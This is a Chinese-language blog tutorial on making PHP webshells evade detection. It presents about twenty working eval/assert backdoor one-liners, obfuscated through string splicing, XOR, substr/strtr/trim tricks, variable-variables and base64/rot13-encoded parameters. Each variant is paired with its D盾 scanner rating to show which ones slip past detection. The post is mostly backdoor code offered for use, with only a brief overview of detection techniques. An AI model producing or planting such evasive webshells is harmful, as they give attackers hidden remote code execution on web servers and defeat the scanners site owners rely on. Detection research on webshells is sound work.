php webshell 免杀入门

webshell 查杀软件:

d盾、安全狗、护卫神、Sangfor WebShellKill

在线查杀

百度WEBDIR+

https://scanner.baidu.com

河马

https://www.shellpub.com

cloudwalker牧云

https://webshellchop.chaitin.cn

查杀技术

静态检测、动态检测、日志检查

  • 静态检查:匹配特征码、危险函数、木马特征值。优点:方便快捷,对已知木马特征查找准确率高,缺点是误报率高,0day型木马无法查找。
  • 动态检测:通过木马程序的动态特征来检测,当程序执行时表现出的特征即为动态特征。
  • 日志检测:通过分析大量日志文件并建立请求模型检测异常文件。 优点为当网站上的访问量级达到一致值时,这种检测方法具有比较大参考性价值。缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变的比较低。

webshell免杀

免杀则是通过灵活运用编程语言的不同特征以及提供的参数重构木马来躲避查杀工具的查杀。还有通过加解密技术对木马程序进行加解密处理。

普通一句话木马

php 复制代码
<?php eval($_POST['a']);?>
<?php assert($_POST['a']);?>

直接使用eval是3级,使用 assert 是5级


在蚁剑连接中,仅使用assert的payload不可连接

原因有两个:一是因为蚁剑用来探测的语句由多句PHP代码构成,但assert只能执行第一句PHP代码;二是因为探测的语句使用了echo,而assert无法执行关于echo的代码。

看到分析文章:

关于一句话中使用的assert和eval - Article_kelp - 博客园 (cnblogs.com)

PHP版本>7 时,assert 函数进行了更新, 无法将使用字符串作为参数,而传入GET或POST的数据默认的类型就是字符串,这就导致了assert不适宜再用来直接写马。

不过下面的webshell 还是在php5环境下以 assert 函数进行测试。


因为还在学习阶段,对于这些姿势可能不能对查杀工具完全免杀,但是也能降低危险级别。

主旨在学习大佬们已经用过的各种绕过姿势。达到免杀初步入门。

免杀绕过姿势

字符串变形

对字符串各种拼接转换,十分灵活,方法各式各样。易拓展。

这里先直接对 assert 每个字符串进行拼接。

php 复制代码
<?php
$x= 'a'.'s'.'s'.'e'.'r'.'t';
$x($_POST['a'])
?>

查杀结果还是 5 级,拼接的 assert 能正常检测

substr() 函数

使用 substr() 函数截断

php 复制代码
<?php
$x= substr('21a',2).'s'.'s'.'e'.'r'.'t';
$x($_POST['a'])
?>

再次D盾检测,新版级别变为了 3 ,旧版级别为 4


异或

php 复制代码
<?php
$x = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$x($_POST['a'])
?>

新版D盾为已知后门,旧版级别为 3


传参拼接

一般情况只需传入一个参数,是要执行的命令。

这里再增加一个传参,作为 assert 的拆解部分。

php 复制代码
<?php
$a='ass';
$b=$a.$_POST["a2"];
$x = $_POST["a1"];
$b($x);
?>

利用,post以下数据:

php 复制代码
a2=ert&a1=phpinfo()

新版D盾查杀等级为 3 ,旧版为 2

strtr() 函数

对替换字符,被替换的'xjdm' 必须和替换成的 'sser' 是相同长度。

php 复制代码
<?php
$x = strtr('axjdmt','xjdm','sser');
$x($_POST['a']);
?>

旧版D盾级别为 1 ,基本算绕过。新版为已知后门

substr_replace()函数

绕过旧版,新版为已知后门

php 复制代码
<?php
$x = substr_replace('ajdmkh','ssert',1);
$x($_POST['a']);
?>

稍微变化一下

新版旧版级别都为 3

php 复制代码
<?php
$x = substr_replace('ajdmk','sser',1).'t';
$x($_POST['a']);
?>

substr_replace()函数和strtr() 函数都是已知后门,那如果组合一下。

新版仍为前面的 3 级,旧版为 1

php 复制代码
<?php
$x = strtr('aghn','ghn','sse').substr_replace('rx','t',1);
$x($_POST['a']);
?>

trim()函数

规定从字符串中删除哪些字符。如果不选第二个参数,则移除以下所有字符 \0 - NULL; \t - 制表符;\n - 换行;\x0B - 垂直制表符;\r - 回车;空格

php 复制代码
<?php
$x = trim('/assert/','/');
$x($_POST['a']);
?>

D盾查杀级别为 1

如果是这样,让**trim()**函数删除空格,查杀等级还是为 4 级。

php 复制代码
$x = trim(' assert ');

自定义函数

php 复制代码
<?php
function test($a){
    $a($_POST['a']);
}

test('assert');
?>

新版D盾和旧版扫描结果级别都为 2


前面都是对 assert 字符串进行操作,下面对 $_POST['a'] 进行操作。包括结合前面的,同时对 assert 和 $_POST['a'] 处理的结果。


反引号

php 复制代码
<?php
$a=$_POST['a'];
$x='assert';
$x(`/***123***/`.$a);
?>

新版D盾结果级别为 4,旧版为 2

结合前面的 substr()函数

查杀等级新版D盾变为1,旧版变为2

php 复制代码
<?php
$a=$_POST['a'];
$x=substr('1a',1).'ssert';
$x(`/***123***/`.$a);
?>

对assert 结合前面的 异或。

新旧版D盾查杀结果皆为1

php 复制代码
<?php
$a=$_POST['a'];
$x=('!'^'@').'ssert';
$x(`/***123***/`.$a);
?>

变量覆盖

使用$$覆盖变量,这里对字符串 $_POST['a'] 进行操作

php 复制代码
<?php
$x='a'.'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['a']);
?>

此时级别为 2

对 assert 结合前面的 substr()函数。

php 复制代码
<?php
$x=substr('1a',1).'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['a']);
?>

查杀等级新版D盾变为1,旧版变为2

对assert 结合前面的 异或。

新旧版D盾查杀结果皆为1

php 复制代码
<?php
$x=('!'^'@').'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['a']);
?>

trim()函数结合变量覆盖

D盾等级为2

php 复制代码
<?php
$a = 'ttt';
$$a=trim('/assert/','/');
$f ='hello';
$$f = $_POST['a'];
$ttt($hello)
?>

base64参数编码

php 复制代码
<?php
$x= 'assert';
$a=base64_decode($_POST['a']);
$x($a)
?>

利用:

a=cGhwaW5mbygp

这里效果不免杀

结合substr()函数

新版D盾查杀结果级别为 1,旧版为 4

php 复制代码
<?php
$x= substr('1a',1).'ssert';
$a=base64_decode($_POST['a']);
$x($a)
?>

对assert 结合前面的 异或

新旧版D盾查杀结果皆为1

php 复制代码
<?php
$x= ('!'^'@').'ssert';
$a=base64_decode($_POST['a']);
$x($a)
?>

rot13参数编码

和前面 base64编码效果是一样的

php 复制代码
<?php
$x= 'assert';
$a=str_rot13($_POST['a']);
$x($a)
?>

a=cucvasb()

结合substr()函数

新版D盾查杀结果级别为 1,旧版为 4

php 复制代码
<?php
$x= substr('1a',1).'ssert';
$a=str_rot13($_POST['a']);
$x($a)
?>

对assert 结合前面的 异或

新旧版D盾查杀结果皆为1

php 复制代码
<?php
$x= ('!'^'@').'ssert';
$a=str_rot13($_POST['a']);
$x($a)
?>

还有很多姿势可以利用与开发。

比如数组(一维、二维、多维)的利用。

还有各种回调函数的利用,比如回调函数 array_map()

相关推荐
lxp1997411 小时前
php函数积累
开发语言·php
ac-er88883 小时前
PHP“===”的意义
开发语言·php
wxin_VXbishe3 小时前
springboot合肥师范学院实习实训管理系统-计算机毕业设计源码31290
java·spring boot·python·spring·servlet·django·php
小小不董4 小时前
《Linux从小白到高手》理论篇:深入理解Linux的网络管理
linux·运维·服务器·数据库·php·dba
豆豆4 小时前
为什么用PageAdmin CMS建设网站?
服务器·开发语言·前端·php·软件构建
NiNg_1_2345 小时前
ThinkPHP5基础入门
php
2401_857610036 小时前
SpringBoot实现:校园资料分享平台开发指南
服务器·spring boot·php
Q_w77426 小时前
一个真实可用的登录界面!
javascript·mysql·php·html5·网站登录
一丝晨光7 小时前
Java、PHP、ASP、JSP、Kotlin、.NET、Go
java·kotlin·go·php·.net·jsp·asp
Eternal-Student12 小时前
everyday_question dq20240731
开发语言·arm开发·php